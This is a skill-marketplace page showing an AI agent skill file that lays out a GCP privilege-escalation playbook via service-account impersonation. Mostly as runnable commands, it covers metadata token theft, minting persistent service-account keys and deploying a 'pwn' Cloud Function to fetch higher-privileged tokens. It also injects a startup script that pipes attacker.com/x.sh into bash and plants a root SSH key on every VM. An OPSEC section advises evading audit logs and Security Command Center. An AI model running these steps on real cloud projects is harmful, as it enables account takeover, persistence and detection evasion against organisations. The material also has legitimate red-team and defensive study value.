Skip to main content

gcp-svc-account-impersonation

GCP service account impersonation chain — IAM `roles/iam.serviceAccountTokenCreator`, `roles/iam.serviceAccountUser`, `actAs` on Cloud Functions / Cloud Run / Compute Engine. Pivot from low-priv SA to org-admin via chained impersonation.

설치로 이동

소스 정보

저장소
BitterSecurity/Decepticon
최근 소스 활동
2026년 5월 26일 09:25
감지된 SKILL.md 언어
영어
스타
5,611
포크
1,061

설치 방법

기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.

소스 파일 검토

설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.

SKILL.md 표시 중

SKILL.md
소스 지침 · 읽기 전용 미리보기
name
gcp-svc-account-impersonation
description
GCP service account impersonation chain — IAM `roles/iam.serviceAccountTokenCreator`, `roles/iam.serviceAccountUser`, `actAs` on Cloud Functions / Cloud Run / Compute Engine. Pivot from low-priv SA to org-admin via chained impersonation.
allowed-tools
Bash Read Write
metadata
{"when_to_use":"gcp google cloud service account impersonation token creator actAs roles/iam compute cloud functions cloud run workload identity","subdomain":"cloud","tags":"gcp, iam, service-account, privilege-escalation","mitre_attack":"T1078.004, T1098, T1550.001"}
# GCP Service Account Impersonation You have a GCP token (compromised VM metadata, leaked service account key, gcloud SDK). Find the impersonation chain to higher privilege. ## Steal the token ### From GCE / GKE / Cloud Run / Functions ```bash TOKEN=$(curl -s -H "Metadata-Flavor: Google" \ "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \ | jq -r .access_token) # All service accounts on the VM: curl -s -H "Metadata-Flavor: Google" \ "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/" ``` ### From a leaked key.json ```bash gcloud auth activate-service-account --key-file=key.json TOKEN=$(gcloud auth print-access-token) ``` ## Phase 1: Enumerate current permissions ```bash # Which projects are you in? curl -s -H "Authorization: Bearer $TOKEN" \ "https://cloudresourcemanager.googleapis.com/v1/projects" | jq -r '.projects[].projectId' # What can you do in a project? PROJECT=$(gcloud config get-value project) gcloud projects test-iam-permissions "$PROJECT" \ --permissions=$(curl -s https://iam.googleapis.com/v1/permissions:queryTestablePermissions -X POST -H "Authorization: Bearer $TOKEN" -d "{\"fullResourceName\":\"//cloudresourcemanager.googleapis.com/projects/$PROJECT\"}" | jq -r '.permissions[].name' | tr '\n' ',' | sed 's/,$//') # Or use the bucket-list shortcut (most SAs can list): gcloud projects get-iam-policy "$PROJECT" --format=json | jq '.bindings[]' ``` ## Phase 2: Impersonation primitives ### `roles/iam.serviceAccountTokenCreator` If you have `iam.serviceAccounts.getAccessToken` on a higher-priv SA: ```bash gcloud auth print-access-token --impersonate-service-account=highpriv@PROJECT.iam.gserviceaccount.com # OR raw: curl -s -X POST -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"scope":["https://www.googleapis.com/auth/cloud-platform"]}' \ "https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/highpriv@PROJECT.iam.gserviceaccount.com:generateAccessToken" \ | jq -r .accessToken ``` ### `iam.serviceAccountKeys.create` Mint a permanent JSON key for any SA you can act-on: ```bash gcloud iam service-accounts keys create /tmp/k.json \ --iam-account=target@PROJECT.iam.gserviceaccount.com # Long-lived credential — survives token rotation. ``` ### `cloudfunctions.functions.update` + `actAs` Deploy a function that runs AS a more-priv SA: ```bash mkdir fn && cat > fn/main.py <<'EOF' def pwn(request): import subprocess out = subprocess.check_output("curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token", shell=True) return out EOF echo "" > fn/requirements.txt gcloud functions deploy pwn --source=fn --runtime=python311 --trigger-http --allow-unauthenticated \ --service-account=highpriv@PROJECT.iam.gserviceaccount.com --entry-point=pwn # Then HTTP-call it to get the higher-priv token ``` ### `compute.instances.setMetadata` Inject a `startup-script` that runs as the VM's SA on next boot: ```bash gcloud compute instances add-metadata target-vm --zone=us-central1-a \ --metadata=startup-script='curl -fsSL https://attacker.com/x.sh | bash' gcloud compute instances reset target-vm --zone=us-central1-a ``` ### `compute.projects.setCommonInstanceMetadata` Project-wide metadata = SSH key on every VM in the project: ```bash ssh-keygen -t ed25519 -f ./pwn -N '' gcloud compute project-info add-metadata --metadata=ssh-keys="root:$(cat pwn.pub)" ``` ## Phase 3: Cross-project pivot ```bash # If your token has `resourcemanager.organizations.get`, you can see the org tree curl -s -H "Authorization: Bearer $TOKEN" \ "https://cloudresourcemanager.googleapis.com/v1/organizations" | jq . # Find SAs with cross-project bindings for p in $(gcloud projects list --format='value(projectId)'); do echo "=== $p ===" gcloud projects get-iam-policy "$p" --format=json | jq -r '.bindings[] | "\(.role): \(.members | join(","))"' done ``` ## OPSEC - Every IAM call logs to Cloud Audit Logs. SetMetadata + Reset is loud — prefer ImpersonateSA when possible. - Token TTL 60min. Refresh from the same IMDS endpoint (no log) vs. requesting a new SA token (logged). - Key creation creates a Cloud Audit `google.iam.admin.v1.CreateServiceAccountKey` event — high-fidelity detection. - GCP Security Command Center flags startup-script changes — for evasion, set metadata on a service NOT under SCC monitoring. ## References - gcp_enum / GCP IAM Privilege Escalation by RhinoSecurityLabs - "Big GCP IAM Privilege Escalation List" — Praetorian - DEFCON 27 "Privilege Escalation in GCP" — Spencer Gietzen
GitHub에서 보기